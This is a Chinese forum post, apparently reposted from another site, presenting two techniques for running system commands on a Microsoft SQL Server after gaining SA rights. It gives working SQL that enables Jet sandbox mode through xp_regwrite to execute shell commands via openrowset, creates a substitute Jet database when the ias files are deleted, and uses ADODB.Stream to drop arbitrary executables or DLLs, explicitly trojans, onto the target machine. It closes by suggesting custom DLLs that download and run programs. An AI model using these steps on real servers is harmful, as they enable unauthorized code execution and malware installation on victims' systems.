• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    MSSQL中两种特别的执行命令的方法

    发布者: 土豆服务器 | 发布时间: 2025-6-27 15:15| 查看数: 20| 评论数: 0|帖子模式

    以下方法都以需要SA权限为前提。
    1, 沙盒模式的变通.

    原始方法:
    第一句开启沙盘模式:exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
    复制代码第二句利用jet.oledb执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\dnary.mdb’,’select shell("CMD命令")’)
    复制代码或select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\ias.mdb’,’select shell("CMD命令")’)
    复制代码但是,当 X:\Windows\System32\ias\dnary.mdb 或 X:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.
    所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)

    复制代码代码如下:
    declare @hr int
    declare @object int;declare @property int
    exec @hr = sp_OACreate ’ADOX.Catalog’,@object OUTPUT
    exec @hr = sp_OAMethod @object,’Create’,@property output,’Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml’

    然后再利用jet.oledb调用SysSetup.xml执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("CMD命令")’)


    2, 直接写入文件到对方计算机,此处的文件可以是exe, dll,等.(注,此方法不支持文件大于64KB)
    当已经有一个程序需要放到对方计算机的时候.(例如, 放MA。)
    将这个文件转成HEX代码。
    如果不知道怎么把文件转成HEX代码,请使用下面的工具.
    File2Hex.rar (424 Bytes)

    使用方法很简单, 解压出来之后, 把要转的文件拖到脚本上去, 就会生成包含HEX代码的文本.
    然后用以下方法写入到对方计算机中。

    复制代码代码如下:
    DECLARE @ObjectToken INT
    EXEC sp_OACreate ’ADODB.Stream’, @ObjectToken OUTPUT
    EXEC sp_OASetProperty @ObjectToken, ’Type’, 1
    EXEC sp_OAMethod @ObjectToken, ’Open’
    EXEC sp_OAMethod @ObjectToken, ’Write’, NULL, 0x123456(其中0x123456为HEX内容)
    EXEC sp_OAMethod @ObjectToken, ’SaveToFile’, NULL, ’Test.exe(文件名)’, 2
    EXEC sp_OAMethod @ObjectToken, ’Close’
    EXEC sp_OADestroy @ObjectToken


    写入之后, 就发挥你的办法去执行你写入的这个文件就OK了。

    集思广益:
    现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限..
    所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程.
    至于存储过程的功能. 可以是下载程序并执行, 可以是直接执行命令. 当然这个看你自己了.
    来源:https://www.jb51.net/hack/34964.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表